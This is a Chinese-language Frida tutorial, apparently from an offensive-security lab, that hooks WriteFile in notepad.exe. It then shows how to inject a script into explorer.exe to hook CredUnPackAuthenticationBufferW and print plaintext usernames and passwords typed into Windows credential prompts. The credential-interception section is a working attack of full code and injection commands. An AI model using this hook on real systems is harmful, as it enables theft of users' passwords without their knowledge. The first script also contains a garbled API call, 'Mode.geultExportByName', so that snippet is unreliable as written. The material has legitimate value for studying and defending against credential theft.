用Frida生成新进程
用Frida生成新进程进行检测:
frida c:\windows\system32\notepad.exe
添加Frida到现有进程
把Frida添加到现有进程:
frida -p 10964
挂钩函数
hooking.js的代码会找到Windows API WriteFile的地址(在kernel32.dll / kernelbase.dll中),通过十六进制把第一个参数的内容转储并传递给它:
hooking.js
var writeFile = Mode.geultExportByName(null, "WriteFile");
Interceptor.attach(writeFile, {
onEnter: function(args)
{
console.log("Buffer dump:\n" + hexdump(args[1]));
// console.log("\nBuffer via Cstring:\n" + Memory.readCString(args[1]));
// console.log("\nBuffer via utf8String:\n" + Memory.readUtf8String(args[1]));
}
});
通过Frida生成一个新的notepad.exe,给它提供hooking.js的代码,以便我们检测WriteFile API,检查写入磁盘缓冲区的内容:
frida C:\windows\system32\notepad.exe -l .\hooking.js
请注意,我们可以更新hooking.js(在上面的GIF中,可以看到我们最后是如何打印出process.id)代码,检测会马上执行,无需重新生成记事本或重新添加Frida。
Frida-Trace
如果想查看某些特定进程是否调用了API,例如WriteFile,我们可以用frida-trace:
frida-trace -i "WriteFile" C:\windows\system32\notepad.exe
案例 —— 拦截凭证
把以上所讲的内容操作一遍,如下面的GIF所示。
用户以其他用户身份执行程序时,我们能否在用户凭证提示里截取纯文本凭证?
(出现“以其他用户身份运行”的凭证提示)
答案是可以,那么就来看下如何用Frida工具做到这一点。
调用凭证弹出窗口,用frida-trace 来查看explorer.exe会不会调用任何名为*Cred*的函数:
frida-trace -i "*Cred*" -p (ps explorer).id
从下面的GIF可以看到,第一次调用提示时,也会对CredUIPromptForWindowsCredentialsW进行调用:
输入虚假的凭证,会显示出Cred* API调用(如下图红框圈起来的部分所示):
尤其是CredUnPackAuthenticationBufferW,因为每个MSDN:
调用CredUIPromptForWindowsCredentials函数,返回到身份验证缓冲,CredUnPackAuthenticationBuffer函数把身份验证缓冲转换成用户名字符串和密码字符串。
在frida的java脚本里检测CredUnPackAuthenticationBufferW:
Credentials.js
var username;
var password;
var CredUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW")
Interceptor.attach(CredUnPackAuthenticationBufferW, {
onEnter: function (args)
{
// Credentials here are still encrypted
/*
CREDUIAPI BOOL CredUnPackAuthenticationBufferW(
0 DWORD dwFlags,
1 PVOID pAuthBuffer,
2 DWORD cbAuthBuffer,
3 LPWSTR pszUserName,
4 DWORD *pcchMaxUserName,
5 LPWSTR pszDomainName,
6 DWORD *pcchMaxDomainName,
7 LPWSTR pszPassword,
8 DWORD *pcchMaxPassword
);
*/
username = args[3];
password = args[7];
},
onLeave: function (result)
{
// Credentials are now decrypted
var user = username.readUtf16String()
var pass = password.readUtf16String()
if (user && pass)
{
console.log("\n+ Intercepted Credentials\n" + user + ":" + pass)
}
}
});
给frida提供我们的检测脚本,钩住explorer.exe,如下所示:
frida -p (ps explorer).id -l C:\labs\frida\hello-world\credentials.js
检测了CredUnPackAuthenticationBufferW后,在explorer.exe启动的提示符中输入凭据,结果如我们所预料的那样 —— 凭证以纯文本形式显示:
资源:
JavaScript API:
https://frida.re/docs/javascript-api/#memory